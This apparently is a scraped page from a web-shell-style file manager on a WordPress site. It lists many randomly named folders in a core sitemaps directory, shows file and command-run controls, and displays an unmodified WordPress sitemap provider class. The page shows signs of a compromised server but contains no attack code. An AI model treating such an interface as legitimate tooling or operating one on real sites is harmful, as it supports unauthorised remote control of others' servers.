/
home
/
vianto5
/
duettowers.mx
/
wp-includes
/
sitemaps
/
/home/vianto5/duettowers.mx/wp-includes/sitemaps
mkdir
upload
Name
Size
Mode
Actions
1ceqxtp/
-
0755
rm
1uosgzt/
-
0755
rm
1wxyoge/
-
0755
rm
acxleug/
-
0755
rm
ainldsr/
-
0755
rm
brnctay/
-
0755
rm
bryzkwq/
-
0755
rm
buynwmf/
-
0755
rm
ctnxeyw/
-
0755
rm
d1zfghn/
-
0755
rm
dckomhw/
-
0755
rm
dgyjceq/
-
0755
rm
downqav/
-
0755
rm
ehk1sny/
-
0755
rm
euhjvnd/
-
0755
rm
evzuhqs/
-
0755
rm
ewgzcmf/
-
0755
rm
ewhiurc/
-
0755
rm
ezbtdav/
-
0755
rm
ezmqlsr/
-
0755
rm
fhisjkc/
-
0755
rm
fxct1qa/
-
0755
rm
fz1vykg/
-
0755
rm
gkrjusp/
-
0755
rm
hgdvfyk/
-
0755
rm
hqdeb1a/
-
0755
rm
htgsjcw/
-
0755
rm
hufl1ws/
-
0755
rm
huktlzo/
-
0755
rm
hurnl1i/
-
0755
rm
hwxkm1i/
-
0755
rm
ia1vkte/
-
0755
rm
icjkpwg/
-
0755
rm
ictexrj/
-
0755
rm
inhtrsz/
-
0755
rm
irgtyol/
-
0755
rm
iyklaxg/
-
0755
rm
jbpefkq/
-
0755
rm
jyhwgc1/
-
0755
rm
kevs1jf/
-
0755
rm
kfahosc/
-
0755
rm
kvyhzen/
-
0755
rm
kyqdpts/
-
0755
rm
kyzsev1/
-
0755
rm
lcazrby/
-
0755
rm
lepkuny/
-
0755
rm
lyijmgr/
-
0755
rm
mplwghd/
-
0755
rm
n1ijzsd/
-
0755
rm
nabhelq/
-
0755
rm
nfbwx1r/
-
0755
rm
nqjdhzs/
-
0755
rm
oepjvfh/
-
0755
rm
oipwbal/
-
0755
rm
oiusbdt/
-
0755
rm
oxausqp/
-
0755
rm
pfgmvzl/
-
0755
rm
powksir/
-
0755
rm
pqmezlo/
-
0755
rm
providers/
-
0755
rm
puxsckl/
-
0755
rm
pwdfbse/
-
0755
rm
pyignkj/
-
0755
rm
pyvjfol/
-
0755
rm
qibsdc1/
-
0755
rm
qlcofvx/
-
0755
rm
qljiwyr/
-
0755
rm
qthspwd/
-
0755
rm
qvtoauy/
-
0755
rm
rxulmje/
-
0755
rm
sehxmpv/
-
0755
rm
sinjbuc/
-
0755
rm
syjfnrw/
-
0755
rm
tbrxuji/
-
0755
rm
tkuoiah/
-
0755
rm
trspcqe/
-
0755
rm
twlapzb/
-
0755
rm
ufrysdq/
-
0755
rm
uonlbqf/
-
0755
rm
upksndo/
-
0755
rm
vzqktf1/
-
0755
rm
w1mcdzg/
-
0755
rm
weurmhv/
-
0755
rm
wlmjyrz/
-
0755
rm
wp1octm/
-
0755
rm
xgyonvl/
-
0755
rm
xhiylga/
-
0755
rm
xhqstnb/
-
0755
rm
xkznavg/
-
0755
rm
yqlfbxn/
-
0755
rm
yskwrzc/
-
0755
rm
yuhiaqe/
-
0755
rm
yvlzhpu/
-
0755
rm
yxczhtm/
-
0755
rm
zfdcjbr/
-
0755
rm
zhcrigy/
-
0755
rm
zkvfsab/
-
0755
rm
zlxojku/
-
0755
rm
zokxpja/
-
0755
rm
.htaccess
178
0644
edit
dl
rm
class-wp-sitemaps-index.php
2010
0644
edit
dl
rm
class-wp-sitemaps-provider.php
4413
0644
edit
dl
rm
class-wp-sitemaps-registry.php
1934
0644
edit
dl
rm
class-wp-sitemaps-renderer.php
6687
0644
edit
dl
rm
class-wp-sitemaps-stylesheet.php
8520
0644
edit
dl
rm
class-wp-sitemaps.php
6402
0644
edit
dl
rm
Edit:
/home/vianto5/duettowers.mx/wp-includes/sitemaps/class-wp-sitemaps-provider.php
(4413B)
<?php /** * Sitemaps: WP_Sitemaps_Provider class * * This class is a base class for other sitemap providers to extend and contains shared functionality. * * @package WordPress * @subpackage Sitemaps * @since 5.5.0 */ /** * Class WP_Sitemaps_Provider. * * @since 5.5.0 */ #[AllowDynamicProperties] abstract class WP_Sitemaps_Provider { /** * Provider name. * * This will also be used as the public-facing name in URLs. * * @since 5.5.0 * * @var string */ protected $name = ''; /** * Object type name (e.g. 'post', 'term', 'user'). * * @since 5.5.0 * * @var string */ protected $object_type = ''; /** * Gets a URL list for a sitemap. * * @since 5.5.0 * * @param int $page_num Page of results. * @param string $object_subtype Optional. Object subtype name. Default empty. * @return array[] Array of URL information for a sitemap. */ abstract public function get_url_list( $page_num, $object_subtype = '' ); /** * Gets the max number of pages available for the object type. * * @since 5.5.0 * * @param string $object_subtype Optional. Object subtype. Default empty. * @return int Total number of pages. */ abstract public function get_max_num_pages( $object_subtype = '' ); /** * Gets data about each sitemap type. * * @since 5.5.0 * * @return array[] Array of sitemap types including object subtype name and number of pages. */ public function get_sitemap_type_data() { $sitemap_data = array(); $object_subtypes = $this->get_object_subtypes(); /* * If there are no object subtypes, include a single sitemap for the * entire object type. */ if ( empty( $object_subtypes ) ) { $sitemap_data[] = array( 'name' => '', 'pages' => $this->get_max_num_pages(), ); return $sitemap_data; } // Otherwise, include individual sitemaps for every object subtype. foreach ( $object_subtypes as $object_subtype_name => $data ) { $object_subtype_name = (string) $object_subtype_name; $sitemap_data[] = array( 'name' => $object_subtype_name, 'pages' => $this->get_max_num_pages( $object_subtype_name ), ); } return $sitemap_data; } /** * Lists sitemap pages exposed by this provider. * * The returned data is used to populate the sitemap entries of the index. * * @since 5.5.0 * * @return array[] Array of sitemap entries. */ public function get_sitemap_entries() { $sitemaps = array(); $sitemap_types = $this->get_sitemap_type_data(); foreach ( $sitemap_types as $type ) { for ( $page = 1; $page <= $type['pages']; $page++ ) { $sitemap_entry = array( 'loc' => $this->get_sitemap_url( $type['name'], $page ), ); /** * Filters the sitemap entry for the sitemap index. * * @since 5.5.0 * * @param array $sitemap_entry Sitemap entry for the post. * @param string $object_type Object empty name. * @param string $object_subtype Object subtype name. * Empty string if the object type does not support subtypes. * @param int $page Page number of results. */ $sitemap_entry = apply_filters( 'wp_sitemaps_index_entry', $sitemap_entry, $this->object_type, $type['name'], $page ); $sitemaps[] = $sitemap_entry; } } return $sitemaps; } /** * Gets the URL of a sitemap entry. * * @since 5.5.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param string $name The name of the sitemap. * @param int $page The page of the sitemap. * @return string The composed URL for a sitemap entry. */ public function get_sitemap_url( $name, $page ) { global $wp_rewrite; // Accounts for cases where name is not included, ex: sitemaps-users-1.xml. $params = array_filter( array( 'sitemap' => $this->name, 'sitemap-subtype' => $name, 'paged' => $page, ) ); $basename = sprintf( '/wp-sitemap-%1$s.xml', implode( '-', $params ) ); if ( ! $wp_rewrite->using_permalinks() ) { $basename = '/?' . http_build_query( $params, '', '&' ); } return home_url( $basename ); } /** * Returns the list of supported object subtypes exposed by the provider. * * @since 5.5.0 * * @return array List of object subtypes objects keyed by their name. */ public function get_object_subtypes() { return array(); } }
Save
cmd:
run